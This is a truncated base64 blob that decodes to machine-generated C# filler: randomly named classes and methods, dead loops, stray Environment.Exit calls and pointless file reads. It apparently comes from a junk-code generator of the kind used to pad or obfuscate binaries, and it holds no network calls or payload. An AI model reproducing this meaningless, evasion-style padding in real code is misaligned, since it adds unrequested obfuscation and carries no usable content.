DsNClpBTnFxSUtWID0gZ1BjZ2N5dG9ieHNlVHpnRWladE1vUmNPRnZyU0ogKiAyOw0KaW50PyBWTlZjZUhIYndadCA9IDM5NTE5Mzk7DQpWTlZjZUhIYndadCArPSAyNDIyODtkb3VibGUgZ0l1SXJOa0sgPSA0LjU1MzczM0UtMjY7IAppZihnSXVJck5rSyA9PSAtMzE3NjYwMCl7DQpnSXVJck5rSyA9IE1hdGguVHJ1bmNhdGUoZ0l1SXJOa0spOw0KQ29uc29sZS5SZWFkS2V5KCk7DQp9Ynl0ZSBUVkVaR1d0WiA9ICAxMDg7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIEJTbXFsUWJQID0gODA0NzkzMzcwNzc3NTYxOTM7IAp1c2hvcnQgQ0N3Q2lQZ0MgPSA5MTY5OyAKc2J5dGUgaXliYlVCWEIgPSAgLTc5OyAKIENvbnNvbGUuUmVhZExpbmUoKTsNCn1wdWJsaWMgdm9pZCBjcGx2UUZIaSgpew0Kc2hvcnQgRm5LbG1rblYgPSAxOTQ5MzsgCiBieXRlW10gRm5LbG1rblZGbktsbWtuViA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiRm5LbG1rblYiKTtieXRlIHpqZW1wUmNQID0gIDIyMTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3N0cmluZyBBUXBuYnRYUiA9ICJzclBmYmxhWiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoQVFwbmJ0WFIpO2ludCBrdmF3dXpDcSA9IDQ0MDc7IAp3aGlsZShrdmF3dXpDcSA9PSA0NDA3KXsNCmt2YXd1ekNxID0ga3Zhd3V6Q3EgKyA4MTc5NDE7DQp9c2hvcnQgSFBQbnBsWmggPSAtMjEyOTA7IAogYnl0ZVtdIEhQUG5wbFpoSFBQbnBsWmggPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoIkhQUG5wbFpoIik7Ynl0ZSBySnJBc0dZSCA9ICA0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IEtpSnRPSVFvID0gMzAxOTU7IApmbG9hdCB0Y3NvVkNneSA9IDEuNDMwNDEyRSsxNUY7IAoNCn1wdWJsaWMgdm9pZCBodnJ1emRXTygpew0Kc2J5dGUgTHNmaFhCbXAgPSAgLTE1OyAKIENvbnNvbGUuUmVhZExpbmUoKTtsb25nIEdrRmdPWUNFID0gNDEzNjA5ODY2NzgyMDMyMzQ7IApkb3VibGUgU1ZMSmRRQ1IgPSA2LjQ1MzQxM0UrMTg7IAp3aGlsZShTVkxKZFFDUiA9PSAtMi4zNTA0NUUtMTQpew0KU1ZMSmRRQ1IgPSBNYXRoLlBvdyhkb3VibGUuTWluVmFsdWUsIGRvdWJsZS5NYXhWYWx1ZSk7DQpDb25zb2xlLlJlYWRLZXkoKTsNCn1zaG9ydCBDQ1hCTUlUSyA9IC0xMjgwNjsgCiBieXRlW10gQ0NYQk1JVEtDQ1hCTUlUSyA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiQ0NYQk1JVEsiKTtzYnl0ZSBWQkVDTmlGYyA9ICAxMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO2ludCBuS01vcG5EYyA9IDYwMzQxODcyOyAKd2hpbGUobktNb3BuRGMgPT0gNjAzNDE4NzIpew0KbktNb3BuRGMgPSBuS01vcG5EYyArIDM5MTcxMDsNCn1sb25nIEx3RlhQUFJ3ID0gMzI3NDg3OTMwNDU3MTYwMDI7IApzdHJpbmcgTU1BTlpTeFcgPSAiQVJIanRBS2siOyAKIENvbnNvbGUuV3JpdGVMaW5lKE1NQU5aU3hXKTsNCn0KfSBwdWJsaWMgY2xhc3Mgekh4enRTWmR7cHVibGljIHZvaWQgeHN2dFRMRmooKXsNCnVpbnQgUGVxZENnRWwgPSAzNjI2ODI2NjsgCnNob3J0IEJpeHBOcnVjID0gLTMyNDg5OyAKIGJ5dGVbXSBCaXhwTnJ1Y0JpeHBOcnVjID0gU3lzdGVtLklPLkZpbGUuUmVhZEFsbEJ5dGVzKCJCaXhwTnJ1YyIpO2J5dGUgaGlWVGdJRHAgPSAgMTE5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7aW50IGdibWF4VWVHID0gMjg4ODY2OyAKaWYoZ2JtYXhVZUcgPT0gMTA3OTkxKXsNCmdibWF4VWVHID0gMzMwNzE3Ow0KfWJ5dGUgZFdtdGFwZ3YgPSAgMjIzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c3RyaW5nIG51Uk1UVktQID0gIlJNVHFJdGRhIjsgCiBDb25zb2xlLldyaXRlTGluZShudVJNVFZLUCk7ZmxvYXQgQU5ydG11cEogPSA5Ljc4ODcyOUUrMzBGOyAKdWxvbmcgb3FVU1RIamQgPSA2MzU1NDUwMTU0NDAyNTg3MzsgCg0KfXB1YmxpYyB2b2lkIGJTa0RhR0tZKCl7DQpkb3VibGUgSERQRmN5ZWogPSAtMjQwLjM4ODE7IAp3aGlsZShIRFBGY3llaiA9PSAtMi44ODk2NzRFKzM1KXsNCkhEUEZjeWVqID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuaCgwLjEpKTsNCmludD8gRWlKVXZSQ0JCZlhLdWtkUnlUUSA9IDQ2NTAyNTI7DQpFaUpVdlJDQkJmWEt1a2RSeVRRICs9IDc0MzgzOw0KfXVzaG9ydCBvQ2pwd1VmViA9IDM3MzU5OyAKZmxvYXQgRUx3REJmRlYgPSAtMS4wODQwMjJFKzIwRjsgCnVzaG9ydCBLaWhGUWlsQyA9IDU3Mzc5OyAKZmxvYXQgTkpkTGpvSWIgPSAtNS4yOTg1NDVFKzI1RjsgCnVpbnQgZkJuTU1Hc0YgPSA3NDU7IAppbnQgaGFRWFNLd3cgPSA0NDg4MDQ1MDsgCmlmKGhhUVhTS3d3ID09IDE3ODQxMSl7DQpoYVFYU0t3dyA9IGhhUVhTS3d3ICsgMjU0MDMwOw0KfXVsb25nIHNIR3d5WExrID0gMzc3MDk4ODIwODI4NDc2NzM7IAoNCn1wdWJsaWMgdm9pZCBzb2xnbWhpSygpew0Kc2J5dGUgVExJaHFta24gPSAgOTA7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIFpNaHZsbkFGID0gNjQ0MzI5Nzk4Nzk5Mjk3MjU7IAp1c2hvcnQgdUl2Yk5xUWcgPSA2MzEyMjsgCmRvdWJsZSBsSU9Cb0FiYSA9IC0xLjY1NzY0OEUrMDk7IApsSU9Cb0FiYSA9IE1hdGguQ2VpbGluZyhNYXRoLlRhbmgoMC4xKSk7DQpzYnl0ZSBmZ0dIVGpQYSA9ICA2NDsgCiBDb25zb2xlLlJlYWRMaW5lKCk7bG9uZyBYa3F4QlhzZyA9IDc2MjQxNjI0NDU5ODk0MzA0OyAKc2J5dGUgb3ZkVWpyUlYgPSAgLTExMTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZmxvYXQgR1dyWGVNU3ogPSAwLjAwNzI3OTc2NkY7IAoNCn1wdWJsaWMgdm9pZCB2U1FoWnlGUygpew0KdXNob3J0IGVxdWJ4QXhEID0gMTI4ODU7IApzYnl0ZSBObkJHYlVFbSA9ICAxMDY7IAogQ29uc29sZS5SZWFkTGluZSgpO2RvdWJsZSBYbmtWQU9sbCA9IC00LjA0MDQzM0UtMjc7IAp3aGlsZShYbmtWQU9sbCA9PSAtMy4wMjUwM0UtMjcpew0KZG91YmxlIFRXbm5iT253b21JID0gLTEuMjU2NTk4RSszNzsNClhua1ZBT2xsID0gTWF0aC5Sb3VuZChUV25uYk9ud29tSSAsMSxNaWRwb2ludFJvdW5kaW5nLlRvRXZlbik7DQp0cnl7DQppbnQgSWNDbWp2UFAgPSA4NDU4NTA7DQppZihJY0NtanZQUCA9PSAxNDQ3Mil7DQpJY0NtanZQUCsrOw0KfWVsc2V7DQpJY0NtanZQUC0tOw0KfQ0KfWNhdGNoKEV4Y2VwdGlvbiBleCl7DQoNCn0NCn1mbG9hdCBCUkhmRFpRbiA9IDMuNjU2MjA1RSszNUY7IAp1bG9uZyBTQ2taWHB3ViA9IDU0NDk3ODc4NzcxNTIwMTMzOyAKaW50IFFCaE5RZ1VkID0gMzIyMDkzNDc2OyAKd2hpbGUoUUJoTlFnVWQgPT0gMzIyMDkzNDc2KXsNClFCaE5RZ1VkID0gNzI3OTg1Ow0KfWJ5dGUgY2VicmFwSGYgPSAgNTU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtmbG9hdCB4dlVNdWlDaSA9IC0yNDIuMDYzN0Y7IAoNCn1wdWJsaWMgdm9pZCB4dVFOeHNPRygpew0KZmxvYXQgbWxXdWdjRlogPSAyLjU2MDUyN0UtMzVGOyAKc2hvcnQgdlF5S01FQ2kgPSAtMjMxODY7IAogYnl0ZVtdIHZReUtNRUNpdlF5S01FQ2kgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInZReUtNRUNpIik7ZG91YmxlIHl6b3ZZcHZ6ID0gLTEuNTU2MTE3RSsyMjsgCndoaWxlKHl6b3ZZcHZ6ID09IC00LjA2MTc5OEUrMzYpew0KeXpvdllwdnogPSBNYXRoLkNlaWxpbmcoTWF0aC5UYW5oKDAuMSkpOw0KaW50W10gb3dXa1pOemhIY0V5UFZIRXhtRUxPQkZzID0geyA0OTMzMzAyICwgMTYxNDEgfSA7DQpSYW5kb20gQVFHRXhTdW96RXZSQ3dxREVNSz0gbmV3IFJhbmRvbSgpOw0KQ29uc29sZS5Xcml0ZUxpbmUob3dXa1pOemhIY0V5UFZIRXhtRUxPQkZzW0FRR0V4U3VvekV2UkN3cURFTUsuTmV4dCgwLDIpXSk7DQp9c2J5dGUgemZxek1TU1kgPSAgODQ7IAogQ29uc29sZS5SZWFkTGluZSgpO3Vsb25nIHd3cGRDQVlIID0gNjU2MjE5NzE1MTY0MDQ2ODU7IApieXRlIGtRZ0hLc3p6ID0gIDMzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZmxvYXQgUkV3dlR3V2EgPSAtNi42OTQyOTJFKzIyRjsgCnVzaG9ydCBzZGRyZUZ1eCA9IDE4MTMwOyAKDQp9cHVibGljIHZvaWQga1p5VEFUV1YoKXsNCnN0cmluZyBzWXJpUHRRSCA9ICJlZXJsTFlERyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoc1lyaVB0UUgpO2xvbmcgeHFPUUtDZ3EgPSA1ODQ0MDk2OTgwOTA0ODY3MDsgCmJ5dGUgYmtOV2lmQWYgPSAgMTEyOyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IGVFbGxZY2d4ID0gNTUxNjA7IApsb25nIHZKTFFmcU94ID0gMTQ3OTYwMTQ0MTE5MjIzMDM7IApsb25nIE91U2NBWW13ID0gNjIwOTQ2NzI1MzA2MzA5MDA7IAppbnQgblVrQXBqekYgPSAyOTk7IAppZihuVWtBcGp6RiA9PSA0NzIyMTIpew0KblVrQXBqekYgPSBuVWtBcGp6RiArIDgxODc0MTsNCn1sb25nIFFCY2dPbExqID0gNzAwNDQ2ODc0NzU3MDMyMzE7IAoNCn1wdWJsaWMgdm9pZCBpenFhYkluTCgpew0KZmxvYXQgTVNwSG1DSFAgPSAxLjkxMTgyNEUtMzhGOyAKaW50IFJMcWpFRElnID0gNzQ7IAp3aGlsZShSTHFqRURJZyA9PSA3NCl7DQpSTHFqRURJZyA9IFJMcWpFRElnICsgNjQwNDg7DQp9bG9uZyBSVENhbkV1SSA9IDY5ODgyODE0NjUzMTMwMjUyOyAKZG91YmxlIEtZZ3JQRUVsID0gLTAuMDAxNjE4NzE7IAp3aGlsZShLWWdyUEVFbCA9PSAtMi41NDcxRSsxNil7DQpkb3VibGUgbHV2RGxJQXBObmZpbHB1cEZkWSA9IE1hdGguSUVFRVJlbWFpbmRlcigzLCA0KTsNCktZZ3JQRUVsID0gbHV2RGxJQXBObmZpbHB1cEZkWTsNCg0KfXVpbnQgdWZ5cG1xSnggPSA4NzsgCmJ5dGUgWFhlQ0VERGkgPSAgMzU7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtpbnQgVU5EamhLUGwgPSA2Nzc1MTsgCndoaWxlKFVORGpoS1BsID09IDY3NzUxKXsNClVORGpoS1BsICs9IDg3MzMwNDsNCn11aW50IFZraktESHZRID0gOTI5NTsgCg0KfXB1YmxpYyB2b2lkIGZVdUxmaHpGKCl7DQpzYnl0ZSBLYnl4c1RRWiA9ICAtMTIzOyAKIENvbnNvbGUuUmVhZExpbmUoKTtieXRlIGhNdUhGZ2tBID0gIDIwNDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VpbnQgRnhaeEFPTFcgPSAyODYyMTYxMTQ7IApieXRlIGdjZVBKb0xHID0gIDk2OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dXNob3J0IHpXRVRCSmRCID0gMTk3Nzk7IApieXRlIGlvVmxEa0dxID0gIDQzOyAKIEVudmlyb25tZW50LkV4aXQoMCk7c2J5dGUgV3hwZFJBaVogPSAgNjM7IAogQ29uc29sZS5SZWFkTGluZSgpO3VpbnQgSFFiZlBzaVYgPSA5OyAKDQp9Cn0gcHVibGljIGNsYXNzIGtySldDbm9ke3B1YmxpYyB2b2lkIFpYa0dyZWJOKCl7DQp1aW50IFl0ZFZYam56ID0gNzc7IApieXRlIFJReG9zd3hyID0gIDExOTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIEFGZGppZ2JuID0gNzc2NDcyNjI5NTM3MjU5MTM7IAp1bG9uZyBQdmRzZHVFZSA9IDM1Nzk2NDg5NzE0NDExNDUyOyAKdXNob3J0IEt1Q2VWd2ppID0gNTQ1NTY7IApzYnl0ZSBOcW9palNJcCA9ICAtOTM7IAogQ29uc29sZS5SZWFkTGluZSgpO3VzaG9ydCBlZ0hGY2R2dSA9IDQxNDcwOyAKc2J5dGUgUFh1dmZ2WEwgPSAgLTEwNTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7DQp9cHVibGljIHZvaWQgUHZhamxLVWooKXsNCmRvdWJsZSBYRWRRZHpLVCA9IC04Ljc1OTM5NUUtMjA7IApkb3VibGUgWWxoc0VsZ0lZaFh0dk1tRGdaUFhKU1V2Vk4gPSA5LjY5MTE4OUUtMzE7DQpYRWRRZHpLVCA9IFlsaHNFbGdJWWhYdHZNbURnWlBYSlNVdlZOIC8gMzsNCmxvbmcgUXZBcVpZTksgPSA2NDY3MDQ4ODc3MDU0ODI4NDsgCmZsb2F0IGdSUFVNQ2xYID0gMy4zNDkwOTZFKzI3RjsgCmxvbmcgSUhnelBPT3IgPSA0MzEwNTMzOTU3ODI0MjcxNzsgCmJ5dGUgZ3FsVnZXQm8gPSAgMjQ0OyAKIEVudmlyb25tZW50LkV4aXQoMCk7dWxvbmcgSFhzRm5nbmwgPSA2Nzc2MDA0MjE3MTc3NTE2NzsgCmZsb2F0IHlycU96THd2ID0gNi42Mzg2OTNFLTA5RjsgCnNob3J0IHpFTU90QU1ZID0gMTAwOTU7IAogYnl0ZVtdIHpFTU90QU1ZekVNT3RBTVkgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoInpFTU90QU1ZIik7DQp9cHVibGljIHZvaWQgTlRPV3lEUUQoKXsNCnNieXRlIGVaV29WWmVIID0gIC0xMjY7IAogQ29uc29sZS5SZWFkTGluZSgpO2xvbmcgbWxRaGFBVksgPSAxNDg2MjUzNjkzNDc1MzY0MTsgCmZsb2F0IFNBcnN3VHFUID0gLTEuMzMyODM1RS0zMUY7IApieXRlIEVOVHpRZHpIID0gIDQ5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7ZG91YmxlIElzVERSTlZpID0gNy41ODE0MzFFLTI5OyAKaWYoSXNURFJOVmkgPT0gMS4yNDc1MzJFKzI3KXsNCklzVERSTlZpID0gTWF0aC5DZWlsaW5nKE1hdGguVGFuaCgwLjEpKTsNCmludD8gdUNOcUZmZCA9IDk0OTIwODk7DQp1Q05xRmZkICs9IDQxNTM7DQp9ZmxvYXQgeW9xQ0labnQgPSAtNTEzLjI5MzlGOyAKaW50IHRDU1lOUUp0ID0gMjI0NjsgCmlmKHRDU1lOUUp0ID09IDYyMzYzMyl7DQp0Q1NZTlFKdCA9IHRDU1lOUUp0ICsgMzA3MjM2Ow0KfXNob3J0IGRWYU9Oa2J4ID0gLTg3NDQ7IAogYnl0ZVtdIGRWYU9Oa2J4ZFZhT05rYnggPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImRWYU9Oa2J4Iik7DQp9cHVibGljIHZvaWQgcFZKQlZMaEIoKXsNCmxvbmcgeUlKVWdsSWwgPSAxNzg0MjE4Mjg2NTU5OTg1MjsgCnN0cmluZyBSVUpZQ3F2TSA9ICJpQWxRUlJvVyI7IAogQ29uc29sZS5Xcml0ZUxpbmUoUlVKWUNxdk0pO2xvbmcgSFNKV1NCeWMgPSA4MDI0NTY2MzE3Mzg3MTk5OTsgCmxvbmcgU1JTTmdacUggPSA3MTk4OTAzNjEyOTk1NTg1MDsgCmRvdWJsZSBWYnRCZVBBVyA9IC01Ljg3MzUxMUUrMzU7IAppZihWYnRCZVBBVyA9PSAtMS4wMDE3MThFKzMyKXsNClZidEJlUEFXID0gTWF0aC5UcnVuY2F0ZShWYnRCZVBBVyk7DQpDb25zb2xlLldyaXRlTGluZShWYnRCZVBBVy5Ub1N0cmluZygpKTsNCn1ieXRlIG9KVFdWeHhSID0gIDA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1bG9uZyBxZlNCelFxbSA9IDM4NzA1NjAwODU1MjUxNTMwOyAKc3RyaW5nIExiZXNERlJlID0gIlFkTnRHRU5OIjsgCiBDb25zb2xlLldyaXRlTGluZShMYmVzREZSZSk7DQp9cHVibGljIHZvaWQgbkt2aUFNTXcoKXsNCmxvbmcgWHRLQWprQkcgPSA2MjU5MjU2NjI1NTExOTc3NzsgCmludCBWVEl1aW1KbyA9IDI2MTg1OTsgCmlmKFZUSXVpbUpvID09IDYwNDUyNil7DQpWVEl1aW1KbyArPSAxMTM1MTQ7DQp9bG9uZyBBbURzSVhFbyA9IDc4MjUyMjQ2NTc0ODk0ODc4OyAKaW50IHJLWVZESHVKID0gNDA3MTsgCndoaWxlKHJLWVZESHVKID09IDQwNzEpew0KcktZVkRIdUogKz0gODc1OTQ1Ow0KfWRvdWJsZSBMQ01hcWdIRSA9IDEuODY4MzYzRS0yNDsgCkxDTWFxZ0hFID0gTWF0aC5UcnVuY2F0ZShMQ01hcWdIRSk7DQp0cnl7DQppbnQgRVJPVHZjdnREekFwbExSVU5Ec0IgPSA5OTYxNTYzOw0KaWYoRVJPVHZjdnREekFwbExSVU5Ec0IgPT0gODI4NjEpew0KRVJPVHZjdnREekFwbExSVU5Ec0IrKzsNCn1lbHNlew0KRVJPVHZjdnREekFwbExSVU5Ec0ItLTsNCkNvbnNvbGUuV3JpdGUoRVJPVHZjdnREekFwbExSVU5Ec0IuVG9TdHJpbmcoKSk7DQp9DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCg0KfWZsb2F0IG9qS3B2dERsID0gMC4wMDAzODkwOTQ5RjsgCnVzaG9ydCBUS213THFOYiA9IDU4MTczOyAKc2hvcnQgaXJ0UEFYRHggPSAxOTU3NTsgCiBieXRlW10gaXJ0UEFYRHhpcnRQQVhEeCA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygiaXJ0UEFYRHgiKTsNCn1wdWJsaWMgdm9pZCBGRERDQ3Rvcigpew0KYnl0ZSBTRnBZR0dFcSA9ICA3OTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2ludCB4QWpQWFFFUiA9IDE2OyAKaWYoeEFqUFhRRVIgPT0gNDUzMTkxKXsNCnhBalBYUUVSID0gNDk3MDI3Ow0KfWxvbmcgblR3VVBOdUggPSAzNzMzODIyNjg0ODIwOTYxODsgCnVzaG9ydCBlUmZNUFBLWCA9IDI2Nzc5OyAKdWludCBYQ1hHdHJzeSA9IDgwMDY2OyAKYnl0ZSBJckVjT0VLRCA9ICAxNjY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtieXRlIFJpU05LWXlHID0gIDE5OyAKIEVudmlyb25tZW50LkV4aXQoMCk7bG9uZyBZZWd2cW9FRiA9IDgxNDY5NDA1NjY1MjY0NTI5OyAKDQp9cHVibGljIHZvaWQgbnpUZVZlRFMoKXsNCnVzaG9ydCBFdW1JaGFLaiA9IDU4MTsgCmJ5dGUgVE1YUXVReWYgPSAgODY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IGFFZmV1UUpCID0gOTY5Nzk4MjM7IAp1bG9uZyBYYVBUUWxzYiA9IDU1ODUzNzI2OTkwNTUyNDUwOyAKYnl0ZSBEcXF6Y0dwayA9ICAyNTI7IAogRW52aXJvbm1lbnQuRXhpdCgwKTtsb25nIGd3bWZJSnlvID0gNTg5MzQ0ODE1MjY5MDExOyAKc3RyaW5nIGFmUWR4b3JGID0gIlZsSW1HWG1kIjsgCiBDb25zb2xlLldyaXRlTGluZShhZlFkeG9yRik7dWludCBsbUJTZnlsZCA9IDk2OyAKDQp9cHVibGljIHZvaWQgWXlHUlNFZ0soKXsNCnVpbnQgcUR0cEJTcVcgPSA4OTsgCnN0cmluZyBZbEFBdVNrRyA9ICJNT0tpR2lBSCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoWWxBQXVTa0cpO3Nob3J0IGNJZ3J4aXRKID0gLTcyODA7IAogYnl0ZVtdIGNJZ3J4aXRKY0lncnhpdEogPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImNJZ3J4aXRKIik7ZG91YmxlIElNaVNPWXh2ID0gMi45NzU3RS0zMjsgCmRvdWJsZSBpS1pWSXVhckVHb1ZNT25kSlNOcGFLWiA9IC0xLjMzMzEwN0UtMjY7DQpJTWlTT1l4diA9IE1hdGguUm91bmQoaUtaVkl1YXJFR29WTU9uZEpTTnBhS1ogLDEsTWlkcG9pbnRSb3VuZGluZy5Ub0V2ZW4pOw0KdHJ5ew0KaW50IHVwcklFZXZKV2l0ZGZRdEZvSHZTb2dGZkNIU1QgPSA4MjA2MTI5Ow0KaWYodXBySUVldkpXaXRkZlF0Rm9IdlNvZ0ZmQ0hTVCA9PSA5ODQ2NCl7DQp1cHJJRWV2SldpdGRmUXRGb0h2U29nRmZDSFNUKys7DQp9ZWxzZXsNCnVwcklFZXZKV2l0ZGZRdEZvSHZTb2dGZkNIU1QtLTsNCkNvbnNvbGUuV3JpdGUodXBySUVldkpXaXRkZlF0Rm9IdlNvZ0ZmQ0hTVC5Ub1N0cmluZygpKTsNCn0NCn1jYXRjaChFeGNlcHRpb24gZXgpew0KDQp9bG9uZyBidkNvTUVWeiA9IDYzNzcxMDAxOTQxMDg2OTQ3OyAKZG91YmxlIGVlSFNkS0hXID0gMS4zMzU5NzJFLTA3OyAKd2hpbGUoZWVIU2RLSFcgPT0gLTYuMDg2NTIzRS0zMil7DQpkb3VibGUga1Z4Um9NTkZPWHggPSAxLjEyMTAzNUUrMTA7DQprVnhSb01ORk9YeCA9IE1hdGguU3FydCgzKTsNCmVlSFNkS0hXID0ga1Z4Um9NTkZPWHg7DQpmb3IoIDsgOykgew0KQ29uc29sZS5Xcml0ZUxpbmUoLTguMzcwMjcyRS0yMyk7DQp9DQp9c2J5dGUgY3lBclRic0UgPSAgMTIxOyAKIENvbnNvbGUuUmVhZExpbmUoKTtzdHJpbmcgTFZTYmpWc1UgPSAiY3R0T3RYQVMiOyAKIENvbnNvbGUuV3JpdGVMaW5lKExWU2JqVnNVKTsNCn0KfSBwdWJsaWMgY2xhc3MgcWN0dUh2YkJ7cHVibGljIHZvaWQgTFBLZXFZUVgoKXsNCnNieXRlIE9CZUdWZXJsID0gIC04NTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7ZG91YmxlIHpETWFGRU5rID0gNi41NjU1MjRFKzM0OyAKd2hpbGUoekRNYUZFTmsgPT0gLTMuMzczMTQxRS0xOCl7DQpkb3VibGUgSE9JVEhFRldaZG9vR1ZjenVCZ094bUFIZmJSeXkgPSAtMi41NDgyMjNFLTE0Ow0KdHJ5ew0KQ29uc29sZS5Xcml0ZUxpbmUoekRNYUZFTmsuVG9TdHJpbmcoKSk7DQp9Y2F0Y2goRXhjZXB0aW9uIGV4KXsNCkNvbnNvbGUuV3JpdGVMaW5lKGV4Lk1lc3NhZ2UpOw0KfQ0KfWludCB4UkROcEtpdyA9IDE2NTQ3OTsgCndoaWxlKHhSRE5wS2l3ID09IDE2NTQ3OSl7DQp4UkROcEtpdyArPSA4NDQ2NjA7DQp9ZmxvYXQgSmJraGpxdkkgPSAtOC40MDE2MzdFKzE5RjsgCnVpbnQgSFR3bWFKY0sgPSAzNzE4NDI7IApsb25nIG1ocFRsRFRtID0gMjE0NDQwMDY0ODE1MTMzODM7IApieXRlIGJTYWFpVk5LID0gIDE1MjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3Vsb25nIHlVY3ZoVmxyID0gNTY1MDgxMzQ1MTY0NjUzMTI7IAoNCn1wdWJsaWMgdm9pZCB2T2hBcExtVygpew0KYnl0ZSBNU2ppUUNTaSA9ICA5MDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgT0N1elh3bUMgPSAyNjE2MzQ4MjE3MTg0ODE4OTsgCnN0cmluZyBZekNHaFFNTCA9ICJ4TWRzTUNyTiI7IAogQ29uc29sZS5Xcml0ZUxpbmUoWXpDR2hRTUwpO3Vsb25nIHZpdmduUHZWID0gODUxNjUxNzc3MTQ1NTYwMjk7IAp1aW50IFh0bUVNaE55ID0gMjE1MjcyOyAKaW50IGh0QVZlbElPID0gMTM5NTsgCndoaWxlKGh0QVZlbElPID09IDEzOTUpew0KaHRBVmVsSU8gKz0gOTA3MzkzOw0KfXNob3J0IGtnRkJjVkRRID0gMTE2MTc7IAogYnl0ZVtdIGtnRkJjVkRRa2dGQmNWRFEgPSBTeXN0ZW0uSU8uRmlsZS5SZWFkQWxsQnl0ZXMoImtnRkJjVkRRIik7Ynl0ZSBxT3pOdFZXZyA9ICAxNTA7IAogRW52aXJvbm1lbnQuRXhpdCgwKTsNCn1wdWJsaWMgdm9pZCBRdXdQSXVpTigpew0KYnl0ZSBxTXluU1l2cCA9ICA2NTsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3NieXRlIFBuWUhvdUpyID0gIC0xOTsgCiBDb25zb2xlLlJlYWRMaW5lKCk7aW50IEtkcnBueWRKID0gNjY3NzUwOTQ7IAppZihLZHJwbnlkSiA9PSAyNTI0NjIpew0KS2RycG55ZEogPSA2MzI3MzI7DQp9Ynl0ZSBMVUN6Z3diZyA9ICAxMjY7IAogRW52aXJvbm1lbnQuRXhpdCgwKTt1aW50IG5GbFpOc3BDID0gNzE3NTsgCnN0cmluZyBDeUlGdExBbSA9ICJMRG9sWFZiZCI7IAogQ29uc29sZS5Xcml0ZUxpbmUoQ3lJRnRMQW0pO2RvdWJsZSBvR3pnc2xjZSA9IDEuNTIwNjA3RSsyNTsgCndoaWxlKG9HemdzbGNlID09IDcuNDQ1Mjg4RSswOSl7DQpvR3pnc2xjZSA9IE1hdGguVHJ1bmNhdGUob0d6Z3NsY2UpOw0KQ29uc29sZS5Xcml0ZShvR3pnc2xjZS5Ub1N0cmluZygpKTsNCn11aW50IGNScWt0dFFwID0gNzY7IAoNCn1wdWJsaWMgdm9pZCBiS3pKVkxNQigpew0Kc2hvcnQgb0ROUXh1ZkogPSAtMjEyMzsgCiBieXRlW10gb0ROUXh1ZkpvRE5ReHVmSiA9IFN5c3RlbS5JTy5GaWxlLlJlYWRBbGxCeXRlcygib0ROUXh1ZkoiKTtzYnl0ZSBHQm1MeW9yUSA9ICA2NzsgCiBDb25zb2xlLlJlYWRMaW5lKCk7Ynl0ZSBWdXlUaFJRUSA9ICA2MDsgCiBFbnZpcm9ubWVudC5FeGl0KDApO2xvbmcgU1drZFZ2cUwgPSA1MDc5NjM4NDcxNTMzMzU0NzsgCmxvbmcgckJTUUh3bHEgPSAyMTkyMzAyOTU2NDg5MTY2MjsgCnVpbnQgd2NOcE9pbEggPSAyMTQ3MTUzMzsgCnVpbnQgcXB5REVuT2ogPSA0MDc5NTUxOyAKdWxvbmcgbWpqcHhGSVogPSAxMDYyMzc4OTQzMDg2MDY1MDsgCg0KfXB1YmxpYyB2b2lkIHRyeGpTRUtnKCl7DQpieXRlIFJTUXZreExHID0gIDE2NjsgCiBFbnZpcm9ubWVudC5FeGl0KDApO3VzaG9ydCBzTHV6WENHSiA9IDQyNjM7IAp1c2hvcnQgbEpOeWpnam8gPSAxMDI4OyAKaW50IFNPSXZicHFSID0gMzc0ODA3OyAKaWYoU09JdmJwcVIgPT0gNjk4OTc0KXsNClNPSXZicHFSID0gU09JdmJwcVIgKyAyOTM3MTI7DQp9aW50IG1hUUZzVXRSID0gOTE4NDkxOyAKd2hpbGUobWFRRnNVdFIgPT0gOTE4NDkxKXsNCm1hUUZzVXRSICs9IDE4Nzk1ODsNCn1mbG9hdCBJY1JuTW5idiA9IDEuNTIzNDgyRS0yMUY7IAppbnQgZVB3WVhCZmsgPSAxNjc7IAp3aGlsZShlUHdZWEJmayA9PSAxNjcpew0KZVB3WVhCZmsgKz0gODg2MDI1Ow0KfWRvdWJsZSBLYmZVc051dCA9IC01LjY2MDE1OUUtMjg7IAppZihLYmZVc051dCA9PSA0LjcxMjk0OEUtMDcpew0KZG91YmxlIGZPc0JvSUxYYXBGVFlQSFhEUmggPSAxLjIyMzE2NEUtMTQ7DQpDb25zb2xlLldyaXRlKEtiZlVzTnV0L